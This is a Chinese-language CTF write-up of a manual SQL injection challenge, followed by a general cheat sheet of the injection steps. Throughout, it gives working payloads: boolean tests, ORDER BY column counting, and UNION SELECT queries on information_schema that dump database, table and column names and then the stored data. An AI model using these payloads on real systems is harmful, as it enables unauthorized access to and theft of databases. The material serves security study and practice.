2023-01-06 WP
0x01 流程
先手工判断是否存在注入,存在注入后检查注入点。
具体流程是根据wp来的
使用手工注入。先判断是否存在注入,发现存在注入后检查注入点。判断字段数量,然后检查数据库位置,知道数据库位置后查看数据库版本和数据库名。接着查看全部数据库名,并查看这些数据库的表名,最后在qtfuyhckbp表中的数据发现此题 flag 。
sql语句:1 and 1 = 1,1 and 1 = 2回显错误,说明存在sql注入
使用order by 判断字段数量 ,order by 3时报错,说明字段为2
在id=1中加入负号可以查看到不存在数据库中的数据
查看数据库版本
查看数据库信息:
查看全部数据库名:
发现sqli库名不是数据库自带的,最后在sqli数据库中发现qtfuyhckbp,news两个表名
sql语句:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
查看该表全部字段
union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘qtfuyhckbp’
查看这个字段的内容bzcrvljukh
sql语句:-1 union select 1,group_concat(bzcrvljukh) from sqli.qtfuyhckbp
得到的数据为flag,忘记截图了
0x02总结:
SQL手注流程(详见大佬wp)
1.判断是否存在注入
and 1 = 1
and 1 = 2
or 1 = 1
or 1 = 2
?id=1’ and 1’ = 1’
?id=1’ and 1’ = 2’
2.判断字段数量,直到无回显异常为止
order by 1 #正常
order by 2 #正常
order by 3 #异常
3.查询注入点
?id=1 union select 1,2 #8为异常无回显
?id=-1 union select 1,2 #如果数据不存在数据库中,可以使用负号查找
?id=0 union select 1,2 #如果数据不存在数据库中,也可以使用零查找
4.查询数据库版本
union select 1,version() ‘’‘替换2为 version()
查询sql数据库版本’‘’
5.查询数据库名
union select 1,database() ‘’‘替换为 database()
查询数据库名’‘’
6.爆库
#数据库自带的表information_schema,其中包含所有的数据库信息
#schema_name 数据库名称
union select 1,group_concat(schema_name)from information_schema.schemata
7.查询表名
#table_name 表格名称
union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘表名’
8.爆字段
#column_name 字段名称
union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’
10.爆数据
union select 1,group_concat(数据名) from 库名.表名
0x03 分析
感觉是带着我回顾了一遍之前的几个题目,并进行了总结